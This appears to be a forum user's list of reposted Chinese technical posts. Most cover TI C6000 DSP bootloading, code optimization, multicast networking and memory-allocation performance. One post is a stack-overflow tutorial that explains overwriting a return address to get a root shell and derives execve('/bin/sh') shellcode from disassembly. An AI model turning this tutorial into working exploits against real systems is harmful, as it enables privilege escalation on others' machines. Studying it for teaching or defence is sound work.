fish001

  • 2019-06-17
  • 发表了主题帖: TMS320C6000系列二次Bootloader的设计与实现

            随着DSP(数字信号处理器)系统的广泛应用,其程序规模也随之不断扩大,使用芯片本身自带的Boot-loader通过Flash存储器来引导DSP程序,往往受到程序大小和结构的制约,比如程序很大超过厂商固化boot的范围,再如中断向量表的不同位置对程序boot跳转的影响,等等,因此越来越需要更加灵活的引导方式。   系统上电后,由引导程序将DSP的应用程序从该存储器引导到DSP应用板上的高速存储器(如内部SRAM、SDRAM等)中。由于Flash存储器具有电信号删除功能,且删除速度快,集成度高,因此已成为此种存储器的首选。由于Flash存储器的存取速度较慢,写入Flash存储器的程序将在系统上电时被DSP装载到快速的存储器中运行,这个过程称为Boot loader。不同的DSP有不同的引导方式。以TI公司TMS320C6000系列芯片为例,自举方式有3种:无自举(No Boot),CPU直接开始执行地   址0处的指令;主机自举(Host Boot),系统复位后主机通过CPU的HPI(主程序设计接口)初始化DSP的存储空间;ROM自举(ROM Boot),DMA控制器从CEl空间复制固定长度程序的地址0处,然后从地址0处开始执行。对于620x/670x DMA,复制64 kB数据从CEl到地址0;而对于621x/671x EDMA,复制1 kB数据从CEl地址开始到地址0。   关于TI公司的C6000芯片二次Bootloader在许多文献都介绍过,包括二次Bootloader的PLL、EMIF的设置和搬移表的设置和Flash存储器的烧写过程,但是对于有中断向量表的二次Bootloader实现的文献很少。本文以TI公司高性能DSP的代表作TMS320C6000系列芯片为例,介绍了一种带中断向量表的二次Bootloader的新途径,从而为TMS320C6000系列DSP的开发提供了一种新的思路。该方法在实际中得到具体应用,系统运行稳定可靠。   1 二次Bootload的过程   TMS320C6713是TI公司推出的TMS320C67xx系列浮点DSP中最新的一种芯片。TMS320C6713每周期可以执行8条32位指令;支持32/64位数据;具有最高225 MHz的运行速度和1800 MIPs(百万次运算每秒)或1350 MFLOPS(百万次浮点运算每秒)的处理能力;同时是有强大的外设支持能力;EMIP(外部存储器接口)可以很方便地与SDRAM、SBSRAM、Flash存储器、SRAM等同步和异步存储器相连,16位EHPI接口可以与各种处理器接口;另外,还有优化的多通道缓存串口和多通道音频串口,这些外部接口使设计人员可以很容易实现自己的应用系统。   在选择ROMBoot方式时,RESET由低变高后,C6713的CPU内核处于复位状态,而C6713的其他部分则开始工作,此时EMIF的CEl空间根据ROM Boot的方式自动地配置为8/16/32位异步存储器接口,并且CEl空间读/写时序自动地配置为最大,随后将CEl空间的前1 kB复制到0x0000 0000地址处。通过这1 kB的数据实现对其他程序的引导。对于中断向量表设在0x0000 0000~0x0000 0400处的程序来说,1 kB数据中处包含EMIF设置代码和搬移程序外,必然也包含中断向量表。本文重点叙述带中断向量表的Bootloader的过程,中断向量表起始地址为0x00000000。如果程序长度小于1 kB,那么就不需要二次bootloader,但是往往程序长度都会大于1 kB,所以二次bootloader是必然的过程。   二次Bootloader的实现需要引入EMIF设置和搬移的程序,即编写boot_c671x_2.s62、c6713_emif.s62,lnk2.cmd和boot.cmd3个文件。本文以实现多通道缓冲串口的程序进行说明,实现二次Bootload的过程框图如图1所示。   首先调入调试好的用户程序工程文件MeBSP_test.pjt工程作为例程,然后在此工程文件中引入3个文件。   程序编写好后,要引入3个很重要的文件;EMIF的值定义文件(c6713_emif.s62);关于EMIF的设置和数据搬移的程序(boot_c67lx_2.s62);cmd配置文件(lnk2.cmd)。同时,其原来的mcbsp.cmd文件要去掉。图2做了一个对比。图2(a)为原程序,图2(b)为生成要烧写的数据的程序,图2(b)中加入了3个文件,原有的mcbsp.cmd去掉了。其中boot_c67lx_2.s62是通用的,c6713_emif.s62要根据具体实际的芯片配置EMIF的参数。   其中boot_c671x_2.s62包含了.boot_load的函数,这个函数包含几个过程,如图3所示。c6713_emif.s62文件包括EMIF的几个参数配置。Ink2.cmd文件位COFF的配置。     其次,就是把生成的*.out文件首先使用CCS开发环境自带的工具Hex6x.exe把工程生成的*.out文件转化成hex格式,在DOS环境下指令为>Hex6x.exeboot.cmd。         最后根据Flash存储器芯片的要求把hex文件烧写到Flash存储器中指定的地址即可。本例采用的AM29LV800BB-70ecFlash存储器芯片,采用3.3 V供电,完全兼容JEDEC标准,并支持在系统编程,用户只需向其内部的命令寄存器写入命令序列即可实现部分擦除、全部擦除、数据写人等功能;同时可提供硬件和软件方法来检查Flash存储器的操作执行情况。首先需要对芯片进行擦除全部变为0xFFFF,然后再进行烧写。由于Flash存储器是以16位进行访问的,所以对Flash存储器而言其物理地址以16位为单位进行编址,而程序中使用的逻辑地址是以字节为单位进行编址的,二者之间的关系如下:逻辑地址=物理地址<<1 ,所以程序中有地址偏移。下面给出烧写的程序。     2 带有中断向量表的二次Bootloader的实现   第1节介绍了一般的二次Bootload过程,但当需要boot带中断向量表的程序时,需要仔细考虑3个重要文件的编程,否则将会遇到意想不到的后果。   2.1 配置文件Ink2.cmd   Ink2.cmd有了细微差别,此时有中断向量表,所以在分配时要考虑vectors的分配空间。在配置文件中差异主要在Memory中,section的部分如下:    SECTIONS   MEMORY的差别具体如下:   a) 没有考虑中断向量表配置的部分程序:   b) 考虑中断向量表配置的部分程序:   .vectors为中断向量表,其有0x200的长度的数据,必须放在0x90000000的地址处,.boot_load紧接着放置。   2.2 中断向量表文件vec.asm   还有一个很重要的一点是图2中vec.asm文件的变化。在调试程序时,中断向量表开始会直接跳到c_int00处,但是待烧写的前1 kB数据,首先要进行EMIF设置和搬移过程,所以其指向要发生变化。   vecter.asm部分程序如下:   a) 原程序的vecter.asm部分程序:   b) 产生Bootload数据的程序的vecter.asm部分程序:   以上程序中,程序a)开始是指向c_int00,程序b)为指向_boot,即.boot_load()的人口。这是因为在1 kB的程序复制完成后,程序即开始执行。首先应执行二次boot程序,即入口点_boot,完成二次boot后,再执行正常的初始化C语言环境代码,进而跳转到用户main函数。此时生成的.out的文件,通过hex6x.exe转化成可烧写的数据。   2.3 转换数据的配置文件boot.cmd   通过hex6x.exe可以把boot.out文件转化成boot.hex形式,方便烧写到Flash存储器中。此时Boot.cmd的也要做相应的变化,把中断向量表的程序同.boot_load程序,程序段,数据段一样转化过来。   boot.cmd配置程序如下:   a) 没有考虑中断向量表的boot.cmd配置:   b) 考虑中断向量表boot.cmd配置:   以上程序中len可以根据实际程序的长度进行修改,如果用hex6x.exe boot.cmd进行转化,程序长度过短时,会产生警告提示。此时可以查看map文件,看看程序和数据占用的空间来定len的大小,只要len大于实际的程序长度即可。Romwidth根据所用的Flash存储器的位数来定,如果是8位的就写8,如果是16位的就换成16。以上程序中,程序b)与程序a)不同的是加入了.vectors,使得生成的boot.hex文件中0x0000 0000地址就为vectors的程序。此时生成的*.hex的文件可以烧写到Flash中。   3 结束语   本文以TI公司高性能DSP TMS320C6000系列芯片为例,介绍了从Flash存储器进行引导,带中断向量表的二次Bootloader的新途径,其中对Bootloader的程序需要改写的部分详细叙述了具体的差别,从而为TMS320C6000系列DSP的开发提供了一种新的思路。该方法简单可行,在TI公司提供的文档上,只要稍做修改就可以得到正确的结果,该方法已在实际工程中得到具体应用,系统性能稳定。一般情况下中断向量表的首地址都为0x0000 0000,如果中断向量表没有设在0x0000 0000地址时,要对boot_c671x_2.s62文件中ISTP进行设置,此时vectors就不需要放在1 kB的数据中,而是在1 kB的程序空间中指向vectors的初地址。

  • 发表了主题帖: TMS320C6000嵌入式系统优化编程的分析

           嵌入式系统是指操作系统和功能软件集成于计算机硬件系统之中。简单的说就是系统的应用软件与系统的硬件一体化,类似与BIOS的工作方式。具有软件代码小,高度自动化,响应速度快等特点。特别适合于要求实时的和多任务的体系。本文分析了TMS320C6000的硬件设计和指令系统的特点,结合应用开发过程中遇到的问题,对这种高速并行DSP器件开发方法进行了总结。   1 TMS320C6000的硬件设计与指令系统   TMS320C6000系列DSP是TI公司最新推出的一种并行处理的数字信号处理器。它是基于TI的VLIW技术的,其中,TMS320C62xx是定点处理器,TMS320C67xx是浮点处理器。本文主要讨论TMS320C6201。该处理器的工作频率最高可以采用50MHz,经内部4倍频后升至200MHz,每个时钟周期最多可以并行执行8条指令,从而可以实现1600MIPS的定点运算能力,而且完成1024定点FFT的时间只需70μs。   1.1 TMS320C6000的硬件结构   TMS320C6000 CPU的结构图如图1所示。   TMS320C6000的CPU有两个数据通道A和B,每个通道有16个32位字长的寄存器(A0~A15,B0~B15),四个功能单元(L,S,M,D),每个功能单元负责完成一定的算术或者逻辑运行。A、B两通道的寄存器并不是完全共享,只能通过TM320C6000提供的两个交换通道1X、2X,才能实现处理单元从不同通道的寄存器堆那里获取32位字长的操作数。   TMS320C6000的地址线为32位,存储器寻址空间是4G。C6201片内集成有1Mbit SRAM——512Kbit的程序存储器(根据需要可全部配置成Cache)和512Kbit的数据存储器。通过片内的程序存储空间控制器,CPU一次可以取出256bit,即一次最多可以取出8条32位指令。   C6201有32位的外部存储接口EMIF为CPU访问外围设备提供了无缝接口。外围设备可以是同步动态存储器(SDRAM)、同步突发静态存储器(SBSRAM)、静态存储器(SRAM)、只读存储器(ROM),也可以是FIFO寄存器。   DSP器件一般都带有DMA控制器,可以在CPU操作的后台进行数据传输。TMS320C6201的DMA控制器有4个独立的可编程通道,可以同时进行四个不同的DMA操作,每个通道的优先级可以通过编程设定。每个通道可以根据需要传输8/16/32bit的数据,并且DMA控制器可以访问全部32位的地址空间。此外,还有一个辅助通道允许DMA控制器响应主机通过HPI口发来的请求。   1.2 指令系统   C62xx和C67xx共享同一个指令集。C67xx可以使用所有的C62xx指令,但因为C67xx是浮点芯片,怕以C67xx的指令集中有一些指令只能用于浮点运算。TMS320C6201CPU的设计采用了类似于RISC的结构,指令集简单、运算速度快。8个功能单元负责不同功能的运算,指令和功能单元之间存在一个映射关系。其中,L单元有23条指令,M单元有20条指令,S单元29有条指令,D单元有26条指令。   TMS320C6201指令集针对数字信号处理算法提供了一引起特殊指令:为复杂计算提供的40bit的特殊操作的加法运算;有效的溢出处理和归一化处理;简洁的位操作功能等。TMS320C6201中最多可以有8条指令同时并行执行;所有指令均可条件执行。以上所有特点提高了指令的执行效率、减小了代码长度、大大减少了因跳转引起的开销、提高了编码效率。   流水线操作是DSP实现高速度、高效率的关键技术之一。C6000的流水线分为三个阶段:取指、解码、执行、总共11级。和以前的C3x、C54x相比,有非常大的优势,主要表现在:简化了流水线的控制以消除流水线互锁;增加流水线的深度以消除传统流水线结构在取指、数据访问和乘法操作上的瓶颈。其中取指、数据访问分为多个阶段,使得C6000可以高速地访问存储空是。   2 优化编程的几个方法   C6000在设计时采用了一种类RISC机的结构,运算速率特别快,但是指令集却非常简单。象DSP算法中常用的乘加指令、循环操作指令等,在C54x和C3x中两条指令就可以完成的功能,而在C6000中却需要一个循环体,所以它的程序设计一般比较复杂。要想充分发挥C6000的运算能力,必须从它的硬件结构出去,最大限度地利用八个功能单元,使用软件流水线,尽量让程序无冲突的并行执行。   线性汇编语言的指令系统和汇编语言的指令系统完全相同,但是它有自己的汇编优化器指令系统,用于和汇编性汇编语言时不需要考虑指令的延时、寄存器的使用和功能单元的分配,完全可以按照高级语言的方式进行编写。另外计数顺只能使用减计数,如果使用加计数,优化器将不能工作等等。但总的说来,它的代码效率远远高于高级语言,而且开发难度和开发周期比汇编语言要小得多。   在实际开发过程中需要具体情况具体分析,选择一种高效、快捷的开发方法。以下结合应用开发中的几个模块来简述我们使用的优化方法。   2.1 使用汇编语言进行   使用汇编语言进行并行编程难度比较大。但在有些情况下,程序中数据有非常强的承接关系,并且该程序体逻辑关系清楚,使用的寄存器不超过32个,这时直接使用汇编语言实现,效率会更高。另外,有些使用C语言比较难实现的运算函数,在C6000的汇编指令集中可能有专用DSP指令,这时就可以直接使用汇编语言实现。   使用汇编语言进行编程时特别需要注意的是C6000指令的延迟情况,有些指令并不是立刻就能得到结果。C6000指令集中有延迟的指令如表1所示。 表1 C6000的有延迟指令   例1 32位归一化函数morm_1()   short morm_1(long L_var1)   {short var_out;   if (L_var1= = 0L){   var_out = (short)0;   }   else {   if (L_var1= = (logn)0xffffffffL{   var_out = (short)31;   }   else {   if (L_var1< 0L) {   L_var1 = ~L_var1;   }   for(var_out=(short)0;L_var1<(long)0x40000000L;   var_out++){   L_var1 《= 1L;   }}}   return(var_out);   }   使用汇编语言进行优化;   .global norm_1   _norm1:   B B3   CMPEQ 0,A4,B0   [!B0] NORM A4,A4   NOP 3   消耗时间(时钟周期):C语言norm_1()为723;汇编语言为11。   2.2 使用线性汇编语言重写整个函数   对于某些以循环体为主的函数可以使用线性汇编语言重写整个函数。使用汇编优化器进行优化之后,效率是非常高的。   下面例子是算法中计算帧能量的函数,其中包含两个单循环体。进行优化时,首先要确定循环的次数。其次尽量减少数据存取次数。仔细观察C代码,会发现两次循环次数相同。第二个循环要用到第一个循环的结果,因此可以将两个循环合并在一起,这样就避免了在第二个循环中再从存储器中取结果,减少了一半的Load操作。   Long Comp_En(short *Dpnt)   { int i;   long Rez;   short Temp[60];   for (i=0;i<60;i ++) Temp [i] = shr(Dpnt[i],(short) 2);   Rez=(long) 0;   for (i=0; i <60; i ++) Rez=L_mac(Rez,Temp[i],Temp[i]);   return Rez;   }   相应的线性汇编程序如下:   .global _Comp_En ;函数名定义,对c变量前加_   _Comp_En .cproc Dpnt;函数头定义,Dpnt是参数   .reg Rez,Rez1,Rez2,1 ;寄存器定义,不必考虑实际的寄存器分配   .reg t1,t2,x1,c1,m1,m2   zero Rez   zero Rez1   zero Rez2   mv Dpnt,c1   mvk 30,i ;确定循环次数。因为用LDW代替LDH,循五环次数减少一半。   loop1 .trip 30   ldw *c1++,x1   sh1 x1,16,t1   shr t1,2,t1   shr x1,2,t2 ;将两个循环合在一起,又减少了一半的从内存取数据的时间。   smpyh t1,t1,m1   smpyh t2,t2,m2   sadd Rez1,m1,Rez1   sadd Rez2,m2,Rez2   [i] sub i,1,i ;循环计数器从30递减   [i] b loop1   sadd Rez1,Rez2,Rez   .return Rez   .endproc   消耗时间(时钟周期):C语言为32971;线性汇编语言为93。   2.3 使用线性汇编改写复杂函数中的循环体   当函数的逻辑关系复杂,判断、跳转、函数调用情况特别多时,上面方法的效果就会在打折扣。这时可以使用线性汇编将其中的循环部分改写成一个函数,以优化后的函数调用代替环部分,而不是优化整个复杂函数。   高速数字信号处理器件的应用范围越来越广,特别是在移动通信领域中,软件无线电、智能天线等新技术的实都需要强大的实时数字信号处理的支持。TMS320C6000系列DSP完全可以满足此类要求。但目前对于并行DSP技术的软硬件开发还处在摸索阶段,如何充分利用高速DSP的资源,是这方面的研究重点。本文研究了最新推出的TMS320C6000的优化策略,从工程和系统的角度总结出一套既能满足实时性又能保证开发时效性的实用的优化编程方法,以供分飨。

  • 发表了主题帖: C6000 DSP NDK的组播网络设计

    0 引言   嵌入式系统采用以太网接口传输数据相对于传统的串口、并口、1553B总线接口来说具有通用性强、传输速度快的特点,并且保证了较高的可靠性。TI在TMS320C6455(以下简称C6000系列高端的芯片中,大多提供了网络接口模块,DSP6455)就是其中典型的一款芯片。它的工作时钟可达1GHz,片上集成以太网接口模块EMAC.结合TI推出的NDK(Net DevelopKit)网络资源开发包,可以大大缩短嵌入式系统中网络应用的开发周期,并且性能不逊于W5300等专业网口芯片。由于一片DSP6455只有一个EMAC接口以及MDIO管理模块,并且NDK的软件初始化只查询一个PHY口就停止,所以传统应用中,典型设计是在该DSP芯片外部接一个PHY芯片,连接一个终端设备,或者通过总线直接连接以太网专用芯片来实现点对点的网络连接。而现在越来越多的嵌入式系统应用需要连接多个终端设备进行组网,在网络中进行数据交换。本文选择利用DSP6455外接Marvell公司的SWITCH芯片(88E6060),该芯片具备6个端口,每个端口都具备100M/10M全双工的通信能力,最终实现该嵌入式系统与其他两个设备的100 MHz组播方式的网络通信。   1 电路原理设计   基于TI DSP6455的片内EMAC/MDIO模块、片外SWITCH(88E6060)芯片及其外围电路的接口设计,可以快速实现OSI七层模型中数据链路层和物理层(MAC+PHY)的组建。DSP6455支持三种接口连接方式,MII/RMII/GMII.MII接口(Media Independent Intetface)以及RMII(Reduced Media Independent Interface)接口分别为媒体独立接口和缩减媒体独立接口,它们支持10M/100M工作模式。GMII接口的全称是吉比特媒体独立接口(Gigabil Media Independent Interface),它支持10M/100M/1000M三种工作模式。因为选取的88E6060只支持百兆MII/RMII的接口方式,本设计采用MII的接口方式进行连接,信号连接框图如图1所示。      设计过程中,使用88E6060的port5作为MII接口与DSP6455的EMAC接口进行连接,port0~port4可以任意使用,作为PHY对外进行连接。本设计以应用port0和port1为例进行说明,其他情况相似。配置时将88E6060的ENABLE_MII5和DISABLE_MII4管脚悬空,通过其内部上拉/下拉使能port5的MII口,DSP6455通过MDIO接口对88E6060的内部PHY寄存器进行访问,通过EMAC接口发送和接收网络数据。   2 NDK的配置与使用   TI的NDK(Net Develop Kit)开发包是基于DSP/BIOS进行工作的,开发包已经集成网络开发所需函数,行使OSI七层模型中传输层、网络层和数据链路层的功能,并按网络开发所需将中断和任务进行配置。当NDK开发环境配置好之后,就可以利用传输语句进行数据的发送和接收。传统情况下,NDK只适用于对单一的PHY进行配置连接,一旦连接建立便中止查询其他的PHY是否可用。本例由于DSP6455外接一片SWITCH芯片,理论上可以将所有能使用的PHY进行初始化并建立连接,所以需要对原有的工作流程进行改造,工作流程对比如图2所示。      改造后的NDK运行流程最重要的是实现对其他外部有效PHY的配置。配置过程需要添加MDIO控制函数来对PHY进行初始化操作。本文使用的PHY为SWITCH芯片的PHY0与PHY1口,所以需要添加对两个使用口进行初始化的语句,来完成对SWITCH芯片的配置工作,初始化代码如下:   MDIO_phyRegWrite(0,0x0,0x1100);   MDIO_phyRegWrite(1,0x0,0x1100);   在MDIO_phyRegWrite(uint phyIdx,uint phyReg,Uint16 data)函数中,参数phyIdx为所配置PHY的识别ID,参数phyReg为需要配置的寄存器序号,参数data为具体的配置值。两语句完成了SWITCH芯片PHY0与PHY1口的控制寄存器的初始化操作,使这两个PHY接口处于激活状态,如果外部出现网络连接请求,便会进行连接。同时通过MDIO_phyRegRead(uint phyIdx,uint phyReg,Uint16*pdata)函数来查询PHY的工作状态,如果一段时间仍未连接上,就转入配置流程,进行重新配置。具体PHY寄存器的地址以及位置信息参照88E6060的数据手册。   3 组播传输的配置实现   组播是一种允许一个或多个发送者(组播源)发送相同的数据包到多个接收者(一次的,同时的)的网络技术。组播源把数据包发送到特定组播组,而只有属于该组播组的成员才能接收到数据包。组播可以大大的节省网络带宽,因为无论有多少个目标地址,在整个网络的任何一条链路上只传送单一的数据包。组播的使用提高了主干网络的数据传送效率。组播工作方式如图3所示。      组播的实现主要有两个条件:主机的网络接口支持组播(支持IP地址与MAC地址的转换);有一套用于加入、离开、查询的组管理协议,即IGMIP,这两个条件NDK都进行了支持。以该嵌入式系统应用为例,在NDK中进行组播传输配置步骤如下:   (1)加入组IGMPJoinHostGroup(inet_addr(McSend Addr),1);这里的McSendAddr为DSP6455使用的IP地址,本语句是将这个IP地址加入到组播组中。   (2)创建新的传输socket,协议为UDP传输协议。   SOCKET send=INVALID_SOCKET;   send = socket (AF_INET, SOCK_DGRAM, IPPRO TO_UDP);   (3)设定传输地址配置结构体   soutl为发送地址配置的结构体,BrSendPort为发送的端口号,BrSendAddr为发送的组播地址,IPv4中组播分配的地址范围为224.0. 0.0 ~239.255.255.255,即D类保留地址,可以从中选择任意值配置。   (4)绑定发送socket与地址配置结构体   bind(send,(PSA)&soutl,sizeof(sourl));   (5)准备好数据后发送   sentCnt=sendto(send, (void*)source,num,0,&soutl,sizeof(sout1));   经过上述步骤的配置,就可以根据应用需求,将嵌入式系统中需要外传数据通过组播网络传输出去。   4 测试结果与结论   本文设计嵌入式系统在工作时,同时与另外两台PC终端通过网线进行连接,实验连接示意图如图4所示。嵌入式系统配置为本地IP:192.168.0.3,组播发送地址IP:239.1.1.3,终端1配置为本地IP:192.168.0.6,终端2配置为本地IP:192.168.0.7.      通过CCS3.3调用程序加载并运行,在终端1与终端2观察本地连接均连接成功,在终端1对嵌入式系统与终端2进行ping操作,显示为通路;在终端2对嵌入式系统与终端1进行ping操作,显示为通路,证明网络设备之间点点联通,具备组播网络传输条件。   嵌入式系统采集数据后,通过以太网以组播方式传输至终端1与终端2,利用VC++编写的软件,在239.1.1.3的组播地址中正确接收到发送数据。   嵌入式系统准备好数据后进行循环发送,在终端1与终端2运行Ethreal软件进行检测,传输速率平均达到12.1 MB/s,满足百兆以太网传输速率。   5 结语   本设计创新使用DSP6455外接SWITCH芯片的连接方式,通过对NDK软件配置流程的重新设计,在嵌入式系统上成功实现了组播模式的数据传输。网络连接建立后,每个点都可以作为系统中通信数据的发送源和接收端,并可根据需求来选择是否加入组播组接收数据发送端的下传数据。这种方式特别适合应用于嵌入式系统外接多个数据采集记录装置的情况,使用起来非常灵活。外接终端设备可以是定制嵌入式系统,也可以是普通PC,连接的通用性也很强。设计人员可以根据需要来增减网络连接的端口数,实现应用需求。

  • 2019-06-16
  • 发表了主题帖: 堆栈溢出技术从入门到精通

          虽然溢出在程序开发过程中不可完全避免,但溢出对系统的威胁是巨大的,由于系统的特殊性,溢出发生时攻击者可以利用其漏洞来获取系统的高级权限root,因此本文将详细介绍堆栈溢出技术……       在您开始了解堆栈溢出前,首先你应该了解win32汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,你应该了解linux,本讲中我们的例子将在linux上开发。 1、首先复习一下基础知识。       从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配在堆栈里面。 从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。       在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压b,最后a。在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。这些是汇编语言的基础知识,用户在开始前必须要了解这些知识。 2、现在我们来看一看什么是堆栈溢出。 运行时的堆栈分配      堆栈溢出就是不顾堆栈中数据块大小,向该数据块写入了过多的数据,导致数据越界,结果覆盖了老的堆栈数据。 例如程序一:       #include   int main ( )  {  char name[8];  printf("Please type your name: ");  gets(name);  printf("Hello, %s!", name);  return 0;  } 编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢? 在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。 我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:       pushl %ebp  movl %esp,%ebp  subl $8,%esp 首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。 堆栈溢出        现在我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完gets(name)之后,由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的老的元素。 我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处的指令,结果出现错误。这就是一次堆栈溢出。 3、如何利用堆栈溢出      我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。 在UINX/linux系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得root shell。下一讲将叙述如何书写一个shell code。 如何书写一个shell code 一:shellcode基本算法分析 在程序中,执行一个shell的程序是这样写的:       shellcode.c  ------------------------------------------------------------------------  #include   void main() {  char *name[2];  name[0] = "/bin/sh"  name[1] = NULL;  execve(name[0], name, NULL);  }  ------------------------------------------------------------------------ execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。 我们来看以看execve的汇编代码:       [nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c  [nkl10]$Content$nbsp;gdb shellcode  (gdb) disassemble __execve  Dump of assembler code for function __execve:  0x80002bc <__execve>: pushl %ebp ;  0x80002bd <__execve+1>: movl %esp,%ebp  ;上面是函数头。  0x80002bf <__execve+3>: pushl %ebx  ;保存ebx  0x80002c0 <__execve+4>: movl $0xb,%eax  ;eax=0xb,eax指明第几号系统调用。  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx  ;ebp+8是第一个参数"/bin/sh\0"  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx  ;ebp+12是第二个参数name数组的地址  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx  ;ebp+16是第三个参数空指针的地址。  ;name[2-1]内容为NULL,用来存放返回值。  0x80002ce <__execve+18>: int $0x80  ;执行0xb号系统调用(execve)  0x80002d0 <__execve+20>: movl %eax,%edx  ;下面是返回值的处理就没有用了。  0x80002d2 <__execve+22>: testl %edx,%edx  0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>  0x80002d6 <__execve+26>: negl %edx  0x80002d8 <__execve+28>: pushl %edx  0x80002d9 <__execve+29>: call 0x8001a34  <__normal_errno_location>  0x80002de <__execve+34>: popl %edx  0x80002df <__execve+35>: movl %edx,(%eax)  0x80002e1 <__execve+37>: movl $0xffffffff,%eax  0x80002e6 <__execve+42>: popl %ebx  0x80002e7 <__execve+43>: movl %ebp,%esp  0x80002e9 <__execve+45>: popl %ebp  0x80002ea <__execve+46>: ret  0x80002eb <__execve+47>: nop  End of assembler dump. 经过以上的分析,可以得到如下的精简指令算法:       movl $execve的系统调用号,%eax  movl "bin/sh\0"的地址,%ebx  movl name数组的地址,%ecx  movl name[n-1]的地址,%edx  int $0x80 ;执行系统调用(execve) 当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。 我们来看以看exit(0)的汇编代码:       (gdb) disassemble _exit  Dump of assembler code for function _exit:  0x800034c <_exit>: pushl %ebp  0x800034d <_exit+1>: movl %esp,%ebp  0x800034f <_exit+3>: pushl %ebx  0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用  0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0  0x8000358 <_exit+12>: int $0x80 ;引发系统调用  0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx  0x800035d <_exit+17>: movl %ebp,%esp  0x800035f <_exit+19>: popl %ebp  0x8000360 <_exit+20>: ret  0x8000361 <_exit+21>: nop  0x8000362 <_exit+22>: nop  0x8000363 <_exit+23>: nop  End of assembler dump. 看来exit(0)〕的汇编代码更加简单:    movl $0x1,%eax ;1号系统调用  movl 0,%ebx ;ebx为exit的参数0  int $0x80 ;引发系统调用 那么总结一下,合成的汇编代码为:       movl $execve的系统调用号,%eax  movl "bin/sh\0"的地址,%ebx  movl name数组的地址,%ecx  movl name[n-1]的地址,%edx  int $0x80 ;执行系统调用(execve)  movl $0x1,%eax ;1号系统调用  movl 0,%ebx ;ebx为exit的参数0  int $0x80 ;执行系统调用(exit)

  • 发表了主题帖: 关于程序效率的问题,你有思考过吗?

    for(;;) { void* buffer = malloc(SIZE); memset(buffer,SIZE); process(buffer) free buffer; } 这是一位实习生(我曾带过10+位实习生,因此见多识广)的伪代码,原本这个SIZE很小,估计是存放URL用的,定义为512字节,后来由于某种原因,扩大到了1M,从512字节扩大到了1M,速度变慢很多。为什么呢?这位同学无法解释,但我让他继续探索,找到真正的原因。 我让他从这样几个方面入手, (1)首先分析一些主要花费时间的代码,结果发现是memset这一段从512到1M后耗费时间增多,而且增多并不是线性的,我让他先看一下glibc的memset源代码,如下: #if defined _LIBC || defined STDC_HEADERS || defined USG # include # define flood memset #else static void flood (__ptr_t, int, __malloc_size_t); static void flood (ptr, val, size) __ptr_t ptr; int val; __malloc_size_t size; { char *cp = ptr; while (size--) *cp++ = val; } #endif 由此可知memset是每字节每字节的赋值的,这并不是机器喜欢的方式,机器希望的是在4字节对齐的位置上进行操作(32位机器,64位机器喜欢8字节对齐),一次读取32位(4个字节)。因此memset完全可以自己实现一个一次性写4个字节的代码。 (2)接下来需要探索的是malloc,事实上linux内存分配有两种,brk,mmap,前者分配128k以内的内存,后者分配128k以上的内存,在改成1M后, void* buffer = malloc(SIZE); 这一段是很快的,因为只是分配了虚存,并没有载入内存,可以查看/proc/pid/statm,考察内存分配,memset操作前后的变化。 而memset,就需要进行实际的内存分配,缺页中断,加载TLB等等。 而brk分配的内存是glibc管理的内存,分配很快,释放也方便(很多时候其实并不释放)。因此512字节是,使用的brk分配(效率很高),而变成1M后,使用mmap分配(加上memset的低效)因此效率要低很多。 (3) 